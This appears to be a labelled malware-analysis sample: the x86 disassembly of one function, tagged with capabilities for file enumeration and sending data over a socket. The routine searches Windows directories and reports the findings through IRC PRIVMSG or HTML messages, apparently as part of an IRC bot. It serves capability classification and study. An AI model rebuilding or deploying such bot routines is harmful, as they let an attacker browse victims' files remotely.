Function at 0x406554
Capabilities:
Enumerate files on windows
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x388
mov dword [esp + 8], 0x104
mov dword [esp + 4], 0
lea eax, [ebp - 0x220]
mov dword [esp], eax
call sym._memset
mov dword [ebp - 0x10], 0
mov dword [ebp - 0x14], 0
mov dword [esp + 4], 0x42480f
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._strtok
cmp dword [ebp + 0x10], 0
je 0x4065c8
mov eax, dword [ebp + 8]
mov dword [esp + 0xc], eax
mov eax, dword [ebp + 0x10]
mov dword [esp + 8], eax
mov dword [esp + 4], str.PRIVMSG__s_:Searsing_for:__s_r_n
lea eax, [ebp - 0x11c]
mov dword [esp], eax
call sym._sprintf
jmp 0x406603
cmp dword [ebp + 0x14], 0
je 0x4065e6
mov dword [esp + 4], str._HTML__PRE__n
lea eax, [ebp - 0x11c]
mov dword [esp], eax
call sym._sprintf
jmp 0x406603
mov eax, dword [ebp + 8]
mov dword [esp + 8], eax
mov dword [esp + 4], str.Searsing_for:__s_r_n
lea eax, [ebp - 0x11c]
mov dword [esp], eax
call sym._sprintf
lea eax, [ebp - 0x11c]
mov dword [esp], eax
call sym._strlen
mov dword [esp + 0xc], 0
mov dword [esp + 8], eax
lea eax, [ebp - 0x11c]
mov dword [esp + 4], eax
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_send]
call eax
sub esp, 0x10
cmp dword [ebp + 0x14], 0
je 0x4066f7
mov eax, dword [ebp + 0x14]
mov dword [esp], eax
call sym._strlen
cmp eax, 2
jbe 0x4066f7
mov eax, dword [ebp + 0x14]
mov dword [esp], eax
call sym._strlen
sub eax, 3
mov dword [ebp - 0xc], eax
jmp 0x40667b
mov edx, dword [ebp + 0x14]
mov eax, dword [ebp - 0xc]
add eax, edx
movzx eax, byte [eax]
cmp al, 0x2f
je 0x406683
sub dword [ebp - 0xc], 1
cmp dword [ebp - 0xc], 0
jne 0x406668
jmp 0x406684
nop
mov eax, dword [ebp - 0xc]
add eax, 1
mov dword [esp + 8], eax
mov eax, dword [ebp + 0x14]
mov dword [esp + 4], eax
lea eax, [ebp - 0x220]
mov dword [esp], eax
call sym._strncpy
lea eax, [ebp - 0x220]
mov dword [esp + 8], eax
mov dword [esp + 4], str._li__A_href__s__Parent_Directory__A___li__r_n
lea eax, [ebp - 0x11c]
mov dword [esp], eax
call sym._sprintf
lea eax, [ebp - 0x11c]
mov dword [esp], eax
call sym._strlen
mov dword [esp + 0xc], 0
mov dword [esp + 8], eax
lea eax, [ebp - 0x11c]
mov dword [esp + 4], eax
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_send]
call eax
sub esp, 0x10
lea eax, [ebp - 0x360]
mov dword [esp + 4], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_FindFirstFileA]
call eax
sub esp, 8
mov dword [ebp - 0x18], eax
jmp 0x40693d
mov eax, dword [ebp - 0x360]
test eax, eax
je 0x40693d
mov dword [esp + 4], 0x424ae1
lea eax, [ebp - 0x360]
add eax, 0x2c
mov dword [esp], eax
call sym._strcmp
test eax, eax
je 0x40693d
mov dword [esp + 4], 0x42150d
lea eax, [ebp - 0x360]
add eax, 0x2c
mov dword [esp], eax
call sym._strcmp
test eax, eax
je 0x40693d
mov dword [esp + 8], 0x104
mov dword [esp + 4], 0
lea eax, [ebp - 0x11c]
mov dword [esp], eax
call sym._memset
mov eax, dword [ebp - 0x360]
and eax, 0x10
test eax, eax
je 0x40683b
add dword [ebp - 0x14], 1
cmp dword [ebp + 0x10], 0
je 0x4067d1
lea eax, [ebp - 0x360]
add eax, 0x2c
mov dword [esp + 0xc], eax
mov eax, dword [ebp + 0x10]
mov dword [esp + 8], eax
mov dword [esp + 4], str.PRIVMSG__s_:__s__n
lea eax, [ebp - 0x11c]
mov dword [esp], eax
call sym._sprintf
jmp 0x4068f1
cmp dword [ebp + 0x14], 0
je 0x406813
lea eax, [ebp - 0x360]
add eax, 0x2c
mov dword [esp + 0x10], eax
lea eax, [ebp - 0x360]
add eax, 0x2c
mov dword [esp + 0xc], eax
mov eax, dword [ebp + 0x14]
mov dword [esp + 8], eax
mov dword [esp + 4], str._li__A_href__s_s____s__A___li___b__u__Directory___b___u__r_n
lea eax, [ebp - 0x11c]
mov dword [esp], eax
call sym._sprintf
jmp 0x4068f1
lea eax, [ebp - 0x360]
add eax, 0x2c
mov dword [esp + 8], eax
mov dword [esp + 4], str.__s__r_n
lea eax, [ebp - 0x11c]
mov dword [esp], eax
call sym._sprintf
jmp 0x4068f1
add dword [ebp - 0x10], 1
cmp dword [ebp + 0x10], 0
je 0x40687b
mov eax, dword [ebp - 0x340]
mov dword [esp + 0x10], eax
lea eax, [ebp - 0x360]
add eax, 0x2c
mov dword [esp + 0xc], eax
mov eax, dword [ebp + 0x10]
mov dword [esp + 8], eax
mov dword [esp + 4], str.PRIVMSG__s_:_s___i_bytes__n
lea eax, [ebp - 0x11c]
mov dword [esp], eax
call sym._sprintf
jmp 0x4068f1
cmp dword [ebp + 0x14], 0
je 0x4068c4
mov eax, dword [ebp - 0x340]
mov dword [esp + 0x14], eax
lea eax, [ebp - 0x360]
add eax, 0x2c
mov dword [esp + 0x10], eax
lea eax, [ebp - 0x360]
add eax, 0x2c
mov dword [esp + 0xc], eax
mov eax, dword [ebp + 0x14]
mov dword [esp + 8], eax
mov dword [esp + 4], str._p__A_href__s_s___s__A____i_bytes__r_n
lea eax, [ebp - 0x11c]
mov dword [esp], eax
call sym._sprintf
jmp 0x4068f1
mov eax, dword [ebp - 0x340]
mov dword [esp + 0xc], eax
lea eax, [ebp - 0x360]
add eax, 0x2c
mov dword [esp + 8], eax
mov dword [esp + 4], str._s____i_bytes__r_n
lea eax, [ebp - 0x11c]
mov dword [esp], eax
call sym._sprintf
lea eax, [ebp - 0x11c]
mov dword [esp], eax
call sym._strlen
mov dword [esp + 0xc], 0
mov dword [esp + 8], eax
lea eax, [ebp - 0x11c]
mov dword [esp + 4], eax
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_send]
call eax
sub esp, 0x10
cmp dword [ebp + 0x10], 0
je 0x40693d
mov eax, dword [0x41e084]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_Sleep]
call eax
sub esp, 4
lea eax, [ebp - 0x360]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x18]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_FindNextFileA]
call eax
sub esp, 8
test eax, eax
jne 0x406719
mov eax, dword [ebp - 0x18]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_FindClose]
call eax
sub esp, 4
cmp dword [ebp + 0x10], 0
je 0x4069a2
mov eax, dword [ebp - 0x14]
mov dword [esp + 0x10], eax
mov eax, dword [ebp - 0x10]
mov dword [esp + 0xc], eax
mov eax, dword [ebp + 0x10]
mov dword [esp + 8], eax
mov dword [esp + 4], str.PRIVMSG__s_:Found__i_files_and__i_dirs_n
lea eax, [ebp - 0x11c]
mov dword [esp], eax
call sym._sprintf
jmp 0x4069e4
cmp dword [ebp + 0x14], 0
je 0x4069c0
mov dword [esp + 4], str.__PRE___HTML_
lea eax, [ebp - 0x11c]
mov dword [esp], eax
call sym._sprintf
jmp 0x4069e4
mov eax, dword [ebp - 0x14]
mov dword [esp + 0xc], eax
mov eax, dword [ebp - 0x10]
mov dword [esp + 8], eax
mov dword [esp + 4], str.Found:__i_files_and__i_dirs_r_n
lea eax, [ebp - 0x11c]
mov dword [esp], eax
call sym._sprintf
lea eax, [ebp - 0x11c]
mov dword [esp], eax
call sym._strlen
mov dword [esp + 0xc], 0
mov dword [esp + 8], eax
lea eax, [ebp - 0x11c]
mov dword [esp + 4], eax
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_send]
call eax
sub esp, 0x10
mov eax, 0
leave
ret